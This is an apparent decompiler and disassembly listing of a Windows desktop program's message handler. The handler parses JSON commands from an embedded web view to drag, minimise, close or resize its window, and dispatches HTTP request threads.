                local_1e8 = ptVar18[2];
                local_1f8 = *ptVar18;
                tStack_1f0 = ptVar18[1];
                ptVar18->x = 0;
                ptVar18->y = 0;
                ptVar18[1].x = 0;
                ptVar18[1].y = 0;
                ptVar18[2].x = 0;
                ptVar18[2].y = 0;
                local_90[0] = (undefined1 *)((ulonglong)local_90[0] & 0xffffffffffff0000);
                FUN_140007d10((longlong *)local_210,(int *)(pbVar25 + 0x18),(byte *)local_90,uVar10)
                ;
                FUN_140002e30(&local_168,local_210);
                uVar26 = (ulonglong)(local_168 >> 1);
                puVar5 = local_166;
                if ((local_168 & 1) != 0) {
                  uVar26 = local_160;
                  puVar5 = local_158;
                }
                puVar19 = FUN_140011290((ulonglong *)&local_1f8,puVar5,uVar26);
                pvStack_1b8 = (void *)puVar19[2];
                uVar26 = *puVar19;
                uVar3 = puVar19[1];
                local_1c8._0_1_ = (byte)uVar26;
                local_1c8._1_1_ = (undefined1)(uVar26 >> 8);
                local_1c8._2_2_ = (undefined2)(uVar26 >> 0x10);
                local_1c8._4_2_ = (undefined2)(uVar26 >> 0x20);
                local_1c8._6_2_ = (undefined2)(uVar26 >> 0x30);
                uStack_1c0 = (undefined1)uVar3;
                uStack_1bf = (undefined4)(uVar3 >> 8);
                uStack_1bb = (undefined1)(uVar3 >> 0x28);
                uStack_1ba = (undefined1)(uVar3 >> 0x30);
                uStack_1b9 = (undefined1)(uVar3 >> 0x38);
                *puVar19 = 0;
                puVar19[1] = 0;
                puVar19[2] = 0;
                ptVar18 = (tagPOINT *)FUN_1400111b0(&local_1c8,L"\r\n");
                tStack_258 = ptVar18[2];
                local_268 = *ptVar18;
                tStack_260 = ptVar18[1];
                ptVar18->x = 0;
                ptVar18->y = 0;
                ptVar18[1].x = 0;
                ptVar18[1].y = 0;
                ptVar18[2].x = 0;
                ptVar18[2].y = 0;
                tVar36 = (tagPOINT)((ulonglong)local_268 >> 1 & 0x7f);
                tVar30 = (tagPOINT)((longlong)&local_268.x + 2);
                if (((ulonglong)local_268 & 1) != 0) {
                  tVar36 = tStack_260;
                  tVar30 = tStack_258;
                }
                FUN_140011290(puVar17 + 7,(void *)tVar30,(ulonglong)tVar36);
                if (((ulonglong)local_268 & 1) != 0) {
                  FUN_14001f8e0((void *)tStack_258);
                }
                if (((byte)local_1c8 & 1) != 0) {
                  FUN_14001f8e0(pvStack_1b8);
                }
                if ((local_168 & 1) != 0) {
                  FUN_14001f8e0(local_158);
                }
                if ((local_210[0] & 1) != 0) {
                  FUN_14001f8e0((void *)auStack_204._4_8_);
                }
                if (((ulonglong)local_90[0] & 1) != 0) {
                  FUN_14001f8e0(local_80);
                }
                if (((ulonglong)local_1f8 & 1) != 0) {
                  FUN_14001f8e0((void *)local_1e8);
                }
                if ((local_138 & 1) != 0) {
                  FUN_14001f8e0(local_128);
                }
                pbVar25 = pbVar25 + 0x70;
              } while (pbVar25 != pbVar2);
            }
          }
          break;
        }
      }
      puVar19 = puVar19 + 0xe;
    } while( true );
  }
  hObject = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,http_request,puVar17,0,(LPDWORD)0x0);
  if (hObject == (HANDLE)0x0) {
    if ((puVar17[10] & 1) == 0) {
      if ((puVar17[7] & 1) == 0) goto LAB_1400071b3;
LAB_14000723f:
      FUN_14001f8e0((void *)puVar17[9]);
      if ((puVar17[4] & 1) != 0) goto LAB_140007252;
LAB_1400071bd:
      bVar1 = (byte)ptVar31->x;
    }
    else {
      FUN_14001f8e0((void *)puVar17[0xc]);
      if ((puVar17[7] & 1) != 0) goto LAB_14000723f;
LAB_1400071b3:
      if ((puVar17[4] & 1) == 0) goto LAB_1400071bd;
LAB_140007252:
      FUN_14001f8e0((void *)puVar17[6]);
      bVar1 = (byte)ptVar31->x;
    }
    if ((bVar1 & 1) != 0) {
      FUN_14001f8e0((void *)puVar17[3]);
    }
    FUN_14001f8e0(puVar17);
    local_268 = (tagPOINT)((ulonglong)local_268 & 0xffffffffffff0000);
    local_1c8._0_1_ = 0x1a;
    local_1c8._1_1_ = 0x74;
    local_1c8._2_2_ = 0x7268;
    local_1c8._4_2_ = 0x6165;
    local_1c8._6_2_ = 0x2064;
    uStack_1c0 = 0x66;
    uStack_1bf = 0x656c6961;
    uStack_1bb = 100;
    uStack_1ba = 0;
    json_response_builder(uVar13,'\0',(byte *)&local_268,(byte *)&local_1c8);
    goto LAB_14000690c;
  }
  CloseHandle(hObject);
LAB_14000691d:
  if ((local_c0 & 1) != 0) {
    FUN_14001f8e0(local_b0);
  }
  if ((local_1e0 & 1) != 0) {
    FUN_14001f8e0(local_1d0);
  }
  if ((local_78[0] & 1) != 0) {
    FUN_14001f8e0(local_68);
  }
LAB_140006950:
  plVar24 = plStack_e0;
  plVar12 = local_d8;
  if (plStack_e0 != (longlong *)0x0) {
    for (; plVar24 != plVar12; plVar12 = plVar12 + -0xe) {
      FUN_140007cb0((longlong)(plVar12 + -0xb));
      if ((*(byte *)(plVar12 + -0xe) & 1) != 0) {
        FUN_14001f8e0((void *)plVar12[-0xc]);
      }
    }
    local_d8 = plVar24;
    FUN_14001f8e0(plStack_e0);
  }
  if (local_f8 != (void *)0x0) {
    FUN_140008de0((longlong)&local_f8,(longlong)local_f8);
    FUN_14001f8e0(local_f8);
  }
  if ((uStack_110 & 1) != 0) {
    FUN_14001f8e0(pvStack_100);
  }
joined_r0x0001400069ee:
  if ((local_a8 & 1) != 0) {
    FUN_14001f8e0(local_98);
  }
  if ((local_150 & 1) != 0) {
    FUN_14001f8e0(local_140);
  }
  return 0;
}

Assembly · 1280 instructions, 97 annotated

Address	Bytes	Instruction	Comment
140005a90	41 57	PUSH R15
140005a92	41 56	PUSH R14
140005a94	41 55	PUSH R13
140005a96	41 54	PUSH R12
140005a98	56	PUSH RSI
140005a99	57	PUSH RDI
140005a9a	55	PUSH RBP
140005a9b	53	PUSH RBX
140005a9c	48 81 ec 58 02 00 00	SUB RSP,0x258
140005aa3	0f 29 b4 24 40 02 00 00	MOVAPS xmmword ptr [RSP + local_58[0]],XMM6
140005aab	4c 89 c1	MOV RCX,R8
140005aae	48 c7 84 24 d0 01 00 00 …	MOV qword ptr [RSP + local_c8],0x0
140005aba	49 8b 00	MOV RAX,qword ptr [R8]
140005abd	48 8d 94 24 d0 01 00 00	LEA RDX,[RSP + 0x1d0]
140005ac5	ff 50 20	CALL qword ptr [RAX + 0x20]
140005ac8	85 c0	TEST EAX,EAX
140005aca	0f 99 c0	SETNS AL
140005acd	48 8b b4 24 d0 01 00 00	MOV RSI,qword ptr [RSP + local_c8]
140005ad5	48 85 f6	TEST RSI,RSI
140005ad8	0f 95 c1	SETNZ CL
140005adb	20 c1	AND CL,AL
140005add	80 f9 01	CMP CL,0x1
140005ae0	0f 85 2e 0f 00 00	JNZ LAB_140006a14
140005ae6	49 be f5 ff ff ff ff ff …	MOV R14,0x7ffffffffffffff5
140005af0	48 89 f1	MOV RCX,RSI
140005af3	e8 98 47 09 00	CALL wcslen
140005af8	4c 39 f0	CMP RAX,R14
140005afb	0f 87 6a 17 00 00	JA LAB_14000726b
140005b01	48 89 c7	MOV RDI,RAX
140005b04	48 83 f8 0b	CMP RAX,0xb
140005b08	73 19	JNC LAB_140005b23
140005b0a	8d 04 3f	LEA EAX,[RDI + RDI*0x1]
140005b0d	88 84 24 48 01 00 00	MOV byte ptr [RSP + local_150],AL
140005b14	48 8d 9c 24 4a 01 00 00	LEA RBX,[RSP + 0x14a]
140005b1c	48 85 ff	TEST RDI,RDI
140005b1f	75 42	JNZ LAB_140005b63
140005b21	eb 51	JMP LAB_140005b74
LAB_140005b23:
140005b23	48 89 f8	MOV RAX,RDI
140005b26	48 83 c8 03	OR RAX,0x3
140005b2a	48 8d 48 01	LEA RCX,[RAX + 0x1]
140005b2e	48 83 f8 0b	CMP RAX,0xb
140005b32	41 bf 0e 00 00 00	MOV R15D,0xe
140005b38	4c 0f 45 f9	CMOVNZ R15,RCX
140005b3c	4b 8d 0c 3f	LEA RCX,[R15 + R15*0x1]
140005b40	e8 bb 9c 01 00	CALL FUN_14001f800	; FUN_14001f800: malloc
140005b45	48 89 c3	MOV RBX,RAX
140005b48	48 89 84 24 58 01 00 00	MOV qword ptr [RSP + local_140],RAX
140005b50	49 ff c7	INC R15
140005b53	4c 89 bc 24 48 01 00 00	MOV qword ptr [RSP + local_150],R15
140005b5b	48 89 bc 24 50 01 00 00	MOV qword ptr [RSP + local_148],RDI
LAB_140005b63:
140005b63	49 89 f8	MOV R8,RDI
140005b66	49 01 f8	ADD R8,RDI
140005b69	48 89 d9	MOV RCX,RBX
140005b6c	48 89 f2	MOV RDX,RSI
140005b6f	e8 cc 46 09 00	CALL memmove
LAB_140005b74:
140005b74	66 c7 04 7b 00 00	MOV word ptr [RBX + RDI*0x2],0x0
140005b7a	48 8b 8c 24 d0 01 00 00	MOV RCX,qword ptr [RSP + local_c8]
140005b82	ff 15 00 c7 0a 00	CALL qword ptr [PTR_CoTaskMemFree_1400b2288]
140005b88	0f b6 84 24 48 01 00 00	MOVZX EAX,byte ptr [RSP + local_150]
140005b90	a8 01	TEST AL,0x1
140005b92	74 0f	JZ LAB_140005ba3
140005b94	48 8b 8c 24 50 01 00 00	MOV RCX,qword ptr [RSP + local_148]
140005b9c	48 85 c9	TEST RCX,RCX
140005b9f	75 0b	JNZ LAB_140005bac
140005ba1	eb 59	JMP LAB_140005bfc
LAB_140005ba3:
140005ba3	89 c1	MOV ECX,EAX
140005ba5	d1 e9	SHR ECX,0x1
140005ba7	48 85 c9	TEST RCX,RCX
140005baa	74 50	JZ LAB_140005bfc
LAB_140005bac:
140005bac	a8 01	TEST AL,0x1
140005bae	74 3e	JZ LAB_140005bee
140005bb0	48 8b 84 24 58 01 00 00	MOV RAX,qword ptr [RSP + local_140]
140005bb8	66 83 38 22	CMP word ptr [RAX],0x22
140005bbc	74 3e	JZ LAB_140005bfc
LAB_140005bbe:
140005bbe	48 8d 8c 24 f0 01 00 00	LEA RCX,[RSP + 0x1f0]
140005bc6	48 8d 94 24 48 01 00 00	LEA RDX,[RSP + 0x148]
140005bce	e8 ad d3 ff ff	CALL FUN_140002f80	; FUN_140002f80: WideCharToMultiByte
140005bd3	f6 84 24 f0 01 00 00 01	TEST byte ptr [RSP + local_a8],0x1
140005bdb	0f 84 3f 02 00 00	JZ LAB_140005e20
140005be1	48 8b 84 24 00 02 00 00	MOV RAX,qword ptr [RSP + local_98]
140005be9	e9 3a 02 00 00	JMP LAB_140005e28
LAB_140005bee:
140005bee	48 8d 84 24 4a 01 00 00	LEA RAX,[RSP + 0x14a]
140005bf6	66 83 38 22	CMP word ptr [RAX],0x22
140005bfa	75 c2	JNZ LAB_140005bbe
LAB_140005bfc:
140005bfc	48 8d 8c 24 30 01 00 00	LEA RCX,[RSP + 0x130]
140005c04	48 8d 94 24 48 01 00 00	LEA RDX,[RSP + 0x148]
140005c0c	e8 6f d3 ff ff	CALL FUN_140002f80	; FUN_140002f80: WideCharToMultiByte
140005c11	f6 84 24 30 01 00 00 01	TEST byte ptr [RSP + local_168],0x1
140005c19	74 0a	JZ LAB_140005c25
140005c1b	48 8b 84 24 40 01 00 00	MOV RAX,qword ptr [RSP + local_158]
140005c23	eb 08	JMP LAB_140005c2d
LAB_140005c25:
140005c25	48 8d 84 24 31 01 00 00	LEA RAX,[RSP + 0x131]
LAB_140005c2d:
140005c2d	48 89 84 24 08 02 00 00	MOV qword ptr [RSP + local_90],RAX
140005c35	c7 84 24 d0 00 00 00 00 …	MOV dword ptr [RSP + local_1c8[0]],0x0
140005c40	0f 57 c0	XORPS XMM0,XMM0
140005c43	0f 11 84 24 d8 00 00 00	MOVUPS xmmword ptr [RSP + local_1c8[8]],XMM0
140005c4b	0f 11 84 24 e8 00 00 00	MOVUPS xmmword ptr [RSP + local_1b0[0]],XMM0
140005c53	0f 11 84 24 f8 00 00 00	MOVUPS xmmword ptr [RSP + local_1a0[0]],XMM0
140005c5b	0f 11 84 24 08 01 00 00	MOVUPS xmmword ptr [RSP + local_190[0]],XMM0
140005c63	0f 11 84 24 18 01 00 00	MOVUPS xmmword ptr [RSP + local_180[0]],XMM0
140005c6b	48 8d 8c 24 08 02 00 00	LEA RCX,[RSP + 0x208]
140005c73	48 8d 94 24 d0 00 00 00	LEA RDX,[RSP + 0xd0]
140005c7b	e8 40 19 00 00	CALL json_parser	; → json_parser (B10, E20)
140005c80	83 bc 24 d0 00 00 00 04	CMP dword ptr [RSP + local_1c8[0]],0x4
140005c88	0f 94 c1	SETZ CL
140005c8b	20 c8	AND AL,CL
140005c8d	3c 01	CMP AL,0x1
140005c8f	0f 85 e8 07 00 00	JNZ LAB_14000647d
140005c95	48 8d 94 24 e0 00 00 00	LEA RDX,[RSP + 0xe0]
140005c9d	48 8d 8c 24 88 00 00 00	LEA RCX,[RSP + 0x88]
140005ca5	e8 86 d1 ff ff	CALL FUN_140002e30	; FUN_140002e30: MultiByteToWideChar
140005caa	0f b6 84 24 88 00 00 00	MOVZX EAX,byte ptr [RSP + local_210]
140005cb2	a8 01	TEST AL,0x1
140005cb4	0f 84 e4 00 00 00	JZ LAB_140005d9e
140005cba	4c 8b bc 24 90 00 00 00	MOV R15,qword ptr [RSP + local_208]
140005cc2	49 83 ff 03	CMP R15,0x3
140005cc6	0f 84 e4 00 00 00	JZ LAB_140005db0
LAB_140005ccc:
140005ccc	48 8d 8c 24 90 00 00 00	LEA RCX,[RSP + 0x90]
140005cd4	49 83 ff 05	CMP R15,0x5
140005cd8	0f 84 ea 02 00 00	JZ LAB_140005fc8
140005cde	49 83 ff 04	CMP R15,0x4
140005ce2	0f 85 79 03 00 00	JNZ LAB_140006061
140005ce8	a8 01	TEST AL,0x1
140005cea	48 8d b4 24 8a 00 00 00	LEA RSI,[RSP + 0x8a]
140005cf2	48 8b 94 24 98 00 00 00	MOV RDX,qword ptr [RSP + local_200]
140005cfa	48 0f 45 f2	CMOVNZ RSI,RDX
140005cfe	66 83 3e 64	CMP word ptr [RSI],0x64
140005d02	0f 85 0f 02 00 00	JNZ LAB_140005f17
140005d08	4c 8d 42 02	LEA R8,[RDX + 0x2]
140005d0c	a8 01	TEST AL,0x1
140005d0e	4c 8d 8c 24 8c 00 00 00	LEA R9,[RSP + 0x8c]
140005d16	4d 0f 45 c8	CMOVNZ R9,R8
140005d1a	66 41 83 39 72	CMP word ptr [R9],0x72
140005d1f	0f 85 f2 01 00 00	JNZ LAB_140005f17
140005d25	4c 8d 42 04	LEA R8,[RDX + 0x4]
140005d29	a8 01	TEST AL,0x1
140005d2b	4c 8d 8c 24 8e 00 00 00	LEA R9,[RSP + 0x8e]
140005d33	4d 0f 45 c8	CMOVNZ R9,R8
140005d37	66 41 83 39 61	CMP word ptr [R9],0x61
140005d3c	0f 85 d5 01 00 00	JNZ LAB_140005f17
140005d42	48 83 c2 06	ADD RDX,0x6
140005d46	a8 01	TEST AL,0x1
140005d48	48 0f 44 d1	CMOVZ RDX,RCX
140005d4c	66 83 3a 67	CMP word ptr [RDX],0x67
140005d50	0f 85 c1 01 00 00	JNZ LAB_140005f17
140005d56	48 8d 8c 24 78 01 00 00	LEA RCX,[RSP + 0x178]
140005d5e	ff 15 cc c5 0a 00	CALL qword ptr [PTR_GetCursorPos_1400b2330]
140005d64	ff 15 1e c6 0a 00	CALL qword ptr [PTR_ReleaseCapture_1400b2388]
140005d6a	48 8b 0d df 36 0c 00	MOV RCX,qword ptr [DAT_1400c9450]
140005d71	0f b7 84 24 78 01 00 00	MOVZX EAX,word ptr [RSP + local_120]
140005d79	44 8b 8c 24 7c 01 00 00	MOV R9D,dword ptr [RSP + local_11c]
140005d81	41 c1 e1 10	SHL R9D,0x10
140005d85	41 09 c1	OR R9D,EAX
140005d88	41 b8 02 00 00 00	MOV R8D,0x2
140005d8e	ba a1 00 00 00	MOV EDX,0xa1
140005d93	ff 15 ff c5 0a 00	CALL qword ptr [PTR_SendMessageW_1400b2398]
140005d99	e9 c8 06 00 00	JMP LAB_140006466
LAB_140005d9e:
140005d9e	89 c1	MOV ECX,EAX
140005da0	d0 e9	SHR CL,0x1
140005da2	44 0f b6 f9	MOVZX R15D,CL
140005da6	49 83 ff 03	CMP R15,0x3
140005daa	0f 85 1c ff ff ff	JNZ LAB_140005ccc
LAB_140005db0:
140005db0	a8 01	TEST AL,0x1
140005db2	48 8d b4 24 8a 00 00 00	LEA RSI,[RSP + 0x8a]
140005dba	48 8b 8c 24 98 00 00 00	MOV RCX,qword ptr [RSP + local_200]
140005dc2	48 0f 45 f1	CMOVNZ RSI,RCX
140005dc6	66 83 3e 6d	CMP word ptr [RSI],0x6d
140005dca	0f 85 47 01 00 00	JNZ LAB_140005f17
140005dd0	48 8d 51 02	LEA RDX,[RCX + 0x2]
140005dd4	a8 01	TEST AL,0x1
140005dd6	4c 8d 84 24 8c 00 00 00	LEA R8,[RSP + 0x8c]
140005dde	4c 0f 45 c2	CMOVNZ R8,RDX
140005de2	66 41 83 38 69	CMP word ptr [R8],0x69
140005de7	0f 85 2a 01 00 00	JNZ LAB_140005f17
140005ded	48 83 c1 04	ADD RCX,0x4
140005df1	a8 01	TEST AL,0x1
140005df3	48 8d 84 24 8e 00 00 00	LEA RAX,[RSP + 0x8e]
140005dfb	48 0f 45 c1	CMOVNZ RAX,RCX
140005dff	66 83 38 6e	CMP word ptr [RAX],0x6e
140005e03	0f 85 0e 01 00 00	JNZ LAB_140005f17
140005e09	48 8b 0d 40 36 0c 00	MOV RCX,qword ptr [DAT_1400c9450]
140005e10	ba 06 00 00 00	MOV EDX,0x6
140005e15	ff 15 9d c5 0a 00	CALL qword ptr [PTR_ShowWindow_1400b23b8]
140005e1b	e9 46 06 00 00	JMP LAB_140006466
LAB_140005e20:
140005e20	48 8d 84 24 f1 01 00 00	LEA RAX,[RSP + 0x1f1]
LAB_140005e28:
140005e28	48 89 84 24 38 02 00 00	MOV qword ptr [RSP + local_60],RAX
140005e30	c7 84 24 78 01 00 00 00 …	MOV dword ptr [RSP + local_120],0x0
140005e3b	0f 57 c0	XORPS XMM0,XMM0
140005e3e	0f 11 84 24 80 01 00 00	MOVUPS xmmword ptr [RSP + local_118[0]],XMM0
140005e46	0f 11 84 24 90 01 00 00	MOVUPS xmmword ptr [RSP + local_108[0]],XMM0
140005e4e	0f 11 84 24 a0 01 00 00	MOVUPS xmmword ptr [RSP + local_f8[0]],XMM0
140005e56	0f 11 84 24 b0 01 00 00	MOVUPS xmmword ptr [RSP + local_e8[0]],XMM0
140005e5e	0f 11 84 24 c0 01 00 00	MOVUPS xmmword ptr [RSP + local_d8[0]],XMM0
140005e66	48 8d 8c 24 38 02 00 00	LEA RCX,[RSP + 0x238]
140005e6e	48 8d 94 24 78 01 00 00	LEA RDX,[RSP + 0x178]
140005e76	e8 45 17 00 00	CALL json_parser	; → json_parser (B10, E20)
140005e7b	83 bc 24 78 01 00 00 06	CMP dword ptr [RSP + local_120],0x6
140005e83	0f 94 c1	SETZ CL
140005e86	84 c8	TEST AL,CL
140005e88	0f 84 c2 0a 00 00	JZ LAB_140006950
140005e8e	c6 44 24 30 04	MOV byte ptr [RSP + local_268[0]],0x4
140005e93	66 c7 44 24 31 69 64	MOV word ptr [RSP + local_268[1]],0x6469
140005e9a	48 8b 84 24 b8 01 00 00	MOV RAX,qword ptr [RSP + local_e8[8]]
140005ea2	48 8b 8c 24 c0 01 00 00	MOV RCX,qword ptr [RSP + local_d8[0]]
140005eaa	48 39 c8	CMP RAX,RCX
140005ead	74 71	JZ LAB_140005f20
140005eaf	48 83 c0 18	ADD RAX,0x18
140005eb3	eb 2a	JMP LAB_140005edf
LAB_140005ec0:
140005ec0	48 8b 50 f8	MOV RDX,qword ptr [RAX + -0x8]
LAB_140005ec4:
140005ec4	0f b7 12	MOVZX EDX,word ptr [RDX]
140005ec7	66 3b 54 24 31	CMP DX,word ptr [RSP + local_268[1]]
140005ecc	74 54	JZ LAB_140005f22
LAB_140005ece:
140005ece	48 8d 50 e8	LEA RDX,[RAX + -0x18]
140005ed2	48 83 c0 70	ADD RAX,0x70
140005ed6	48 83 c2 70	ADD RDX,0x70
140005eda	48 39 ca	CMP RDX,RCX
140005edd	74 41	JZ LAB_140005f20
LAB_140005edf:
140005edf	0f b6 50 e8	MOVZX EDX,byte ptr [RAX + -0x18]
140005ee3	f6 c2 01	TEST DL,0x1
140005ee6	74 18	JZ LAB_140005f00
140005ee8	4c 8b 40 f0	MOV R8,qword ptr [RAX + -0x10]
140005eec	49 83 f8 02	CMP R8,0x2
140005ef0	75 dc	JNZ LAB_140005ece
140005ef2	eb 18	JMP LAB_140005f0c
LAB_140005f00:
140005f00	41 89 d0	MOV R8D,EDX
140005f03	41 d1 e8	SHR R8D,0x1
140005f06	49 83 f8 02	CMP R8,0x2
140005f0a	75 c2	JNZ LAB_140005ece
LAB_140005f0c:
140005f0c	f6 c2 01	TEST DL,0x1
140005f0f	75 af	JNZ LAB_140005ec0
140005f11	48 8d 50 e9	LEA RDX,[RAX + -0x17]
140005f15	eb ad	JMP LAB_140005ec4
LAB_140005f17:
140005f17	4a 8d 04 7e	LEA RAX,[RSI + R15*0x2]
140005f1b	e9 87 01 00 00	JMP LAB_1400060a7
LAB_140005f20:
140005f20	31 c0	XOR EAX,EAX
LAB_140005f22:
140005f22	c6 44 24 30 0c	MOV byte ptr [RSP + local_268[0]],0xc
140005f27	c7 44 24 31 6d 65 74 68	MOV dword ptr [RSP + local_268[1]],0x6874656d
140005f2f	66 c7 44 24 35 6f 64	MOV word ptr [RSP + local_268[5]],0x646f
140005f36	48 8b 94 24 b8 01 00 00	MOV RDX,qword ptr [RSP + local_e8[8]]
140005f3e	48 8b 8c 24 c0 01 00 00	MOV RCX,qword ptr [RSP + local_d8[0]]
140005f46	48 39 ca	CMP RDX,RCX
140005f49	0f 84 01 0a 00 00	JZ LAB_140006950
140005f4f	48 83 c2 18	ADD RDX,0x18
140005f53	eb 44	JMP LAB_140005f99
LAB_140005f60:
140005f60	4c 8b 42 f8	MOV R8,qword ptr [RDX + -0x8]
LAB_140005f64:
140005f64	45 8b 08	MOV R9D,dword ptr [R8]
140005f67	44 33 4c 24 31	XOR R9D,dword ptr [RSP + local_268[1]]
140005f6c	45 0f b7 40 04	MOVZX R8D,word ptr [R8 + 0x4]
140005f71	66 44 33 44 24 35	XOR R8W,word ptr [RSP + local_268[5]]
140005f77	45 0f b7 c0	MOVZX R8D,R8W
140005f7b	45 09 c8	OR R8D,R9D
140005f7e	0f 84 ad 05 00 00	JZ LAB_140006531
LAB_140005f84:
140005f84	4c 8d 42 e8	LEA R8,[RDX + -0x18]
140005f88	48 83 c2 70	ADD RDX,0x70
140005f8c	49 83 c0 70	ADD R8,0x70
140005f90	49 39 c8	CMP R8,RCX
140005f93	0f 84 b7 09 00 00	JZ LAB_140006950
LAB_140005f99:
140005f99	44 0f b6 42 e8	MOVZX R8D,byte ptr [RDX + -0x18]
140005f9e	41 f6 c0 01	TEST R8B,0x1
140005fa2	74 0c	JZ LAB_140005fb0
140005fa4	4c 8b 4a f0	MOV R9,qword ptr [RDX + -0x10]
140005fa8	49 83 f9 06	CMP R9,0x6
140005fac	75 d6	JNZ LAB_140005f84
140005fae	eb 0c	JMP LAB_140005fbc
LAB_140005fb0:
140005fb0	45 89 c1	MOV R9D,R8D
140005fb3	41 d1 e9	SHR R9D,0x1
140005fb6	49 83 f9 06	CMP R9,0x6
140005fba	75 c8	JNZ LAB_140005f84
LAB_140005fbc:
140005fbc	41 f6 c0 01	TEST R8B,0x1
140005fc0	75 9e	JNZ LAB_140005f60
140005fc2	4c 8d 42 e9	LEA R8,[RDX + -0x17]
140005fc6	eb 9c	JMP LAB_140005f64
LAB_140005fc8:
140005fc8	a8 01	TEST AL,0x1
140005fca	48 8d b4 24 8a 00 00 00	LEA RSI,[RSP + 0x8a]
140005fd2	48 8b 94 24 98 00 00 00	MOV RDX,qword ptr [RSP + local_200]
140005fda	48 0f 45 f2	CMOVNZ RSI,RDX
140005fde	66 83 3e 63	CMP word ptr [RSI],0x63
140005fe2	0f 85 87 00 00 00	JNZ LAB_14000606f
140005fe8	4c 8d 42 02	LEA R8,[RDX + 0x2]
140005fec	a8 01	TEST AL,0x1
140005fee	4c 8d 8c 24 8c 00 00 00	LEA R9,[RSP + 0x8c]
140005ff6	4d 0f 45 c8	CMOVNZ R9,R8
140005ffa	66 41 83 39 6c	CMP word ptr [R9],0x6c
140005fff	75 6e	JNZ LAB_14000606f
140006001	4c 8d 42 04	LEA R8,[RDX + 0x4]
140006005	a8 01	TEST AL,0x1
140006007	4c 8d 8c 24 8e 00 00 00	LEA R9,[RSP + 0x8e]
14000600f	4d 0f 45 c8	CMOVNZ R9,R8
140006013	66 41 83 39 6f	CMP word ptr [R9],0x6f
140006018	75 55	JNZ LAB_14000606f
14000601a	4c 8d 42 06	LEA R8,[RDX + 0x6]
14000601e	a8 01	TEST AL,0x1
140006020	4c 0f 44 c1	CMOVZ R8,RCX
140006024	66 41 83 38 73	CMP word ptr [R8],0x73
140006029	75 44	JNZ LAB_14000606f
14000602b	48 8d 4a 08	LEA RCX,[RDX + 0x8]
14000602f	a8 01	TEST AL,0x1
140006031	4c 8d 84 24 92 00 00 00	LEA R8,[RSP + 0x92]
140006039	4c 0f 45 c1	CMOVNZ R8,RCX
14000603d	66 41 83 38 65	CMP word ptr [R8],0x65
140006042	75 2b	JNZ LAB_14000606f
140006044	48 8b 0d 05 34 0c 00	MOV RCX,qword ptr [DAT_1400c9450]
14000604b	ba 10 00 00 00	MOV EDX,0x10
140006050	45 31 c0	XOR R8D,R8D
140006053	45 31 c9	XOR R9D,R9D
140006056	ff 15 14 c3 0a 00	CALL qword ptr [PTR_PostMessageW_1400b2370]
14000605c	e9 05 04 00 00	JMP LAB_140006466
LAB_140006061:
140006061	a8 01	TEST AL,0x1
140006063	74 1e	JZ LAB_140006083
140006065	48 8b b4 24 98 00 00 00	MOV RSI,qword ptr [RSP + local_200]
14000606d	eb 1c	JMP LAB_14000608b
LAB_14000606f:
14000606f	48 83 c2 0a	ADD RDX,0xa
140006073	a8 01	TEST AL,0x1
140006075	48 8d 84 24 94 00 00 00	LEA RAX,[RSP + 0x94]
14000607d	48 0f 45 c2	CMOVNZ RAX,RDX
140006081	eb 24	JMP LAB_1400060a7
LAB_140006083:
140006083	48 8d b4 24 8a 00 00 00	LEA RSI,[RSP + 0x8a]
LAB_14000608b:
14000608b	49 83 ff 07	CMP R15,0x7
14000608f	b8 07 00 00 00	MOV EAX,0x7
140006094	49 0f 42 c7	CMOVC RAX,R15
140006098	4d 85 ff	TEST R15,R15
14000609b	0f 84 c5 03 00 00	JZ LAB_140006466
1400060a1	89 c0	MOV EAX,EAX
1400060a3	48 8d 04 46	LEA RAX,[RSI + RAX*0x2]
LAB_1400060a7:
1400060a7	48 89 f2	MOV RDX,RSI
1400060aa	48 89 c1	MOV RCX,RAX
LAB_1400060ad:
1400060ad	49 89 d0	MOV R8,RDX
LAB_1400060b0:
1400060b0	49 8d 50 02	LEA RDX,[R8 + 0x2]
1400060b4	66 41 83 38 72	CMP word ptr [R8],0x72
1400060b9	74 0a	JZ LAB_1400060c5
1400060bb	49 89 d0	MOV R8,RDX
1400060be	48 39 c2	CMP RDX,RAX
1400060c1	75 ed	JNZ LAB_1400060b0
1400060c3	eb 67	JMP LAB_14000612c
LAB_1400060c5:
1400060c5	48 39 c2	CMP RDX,RAX
1400060c8	74 62	JZ LAB_14000612c
1400060ca	66 83 3a 65	CMP word ptr [RDX],0x65
1400060ce	75 dd	JNZ LAB_1400060ad
1400060d0	4d 8d 48 04	LEA R9,[R8 + 0x4]
1400060d4	49 39 c1	CMP R9,RAX
1400060d7	74 53	JZ LAB_14000612c
1400060d9	66 41 83 39 73	CMP word ptr [R9],0x73
1400060de	75 cd	JNZ LAB_1400060ad
1400060e0	4d 8d 48 06	LEA R9,[R8 + 0x6]
1400060e4	49 39 c1	CMP R9,RAX
1400060e7	74 43	JZ LAB_14000612c
1400060e9	66 41 83 39 69	CMP word ptr [R9],0x69
1400060ee	75 bd	JNZ LAB_1400060ad
1400060f0	4d 8d 48 08	LEA R9,[R8 + 0x8]
1400060f4	49 39 c1	CMP R9,RAX
1400060f7	74 33	JZ LAB_14000612c
1400060f9	66 41 83 39 7a	CMP word ptr [R9],0x7a
1400060fe	75 ad	JNZ LAB_1400060ad
140006100	4d 8d 48 0a	LEA R9,[R8 + 0xa]
140006104	49 39 c1	CMP R9,RAX
140006107	74 23	JZ LAB_14000612c
140006109	66 41 83 39 65	CMP word ptr [R9],0x65
14000610e	75 9d	JNZ LAB_1400060ad
140006110	49 8d 50 0c	LEA RDX,[R8 + 0xc]
140006114	48 39 c2	CMP RDX,RAX
140006117	74 13	JZ LAB_14000612c
140006119	49 8d 50 02	LEA RDX,[R8 + 0x2]
14000611d	66 41 83 78 0c 3a	CMP word ptr [R8 + 0xc],0x3a
140006123	49 0f 44 c8	CMOVZ RCX,R8
140006127	e9 81 ff ff ff	JMP LAB_1400060ad
LAB_14000612c:
14000612c	48 39 c1	CMP RCX,RAX
14000612f	0f 84 31 03 00 00	JZ LAB_140006466
140006135	48 39 f1	CMP RCX,RSI
140006138	0f 85 28 03 00 00	JNZ LAB_140006466
14000613e	0f 57 c0	XORPS XMM0,XMM0
140006141	0f 11 84 24 c0 01 00 00	MOVUPS xmmword ptr [RSP + local_d8[0]],XMM0
140006149	0f 11 84 24 b0 01 00 00	MOVUPS xmmword ptr [RSP + local_e8[0]],XMM0
140006151	0f 11 84 24 a0 01 00 00	MOVUPS xmmword ptr [RSP + local_f8[0]],XMM0
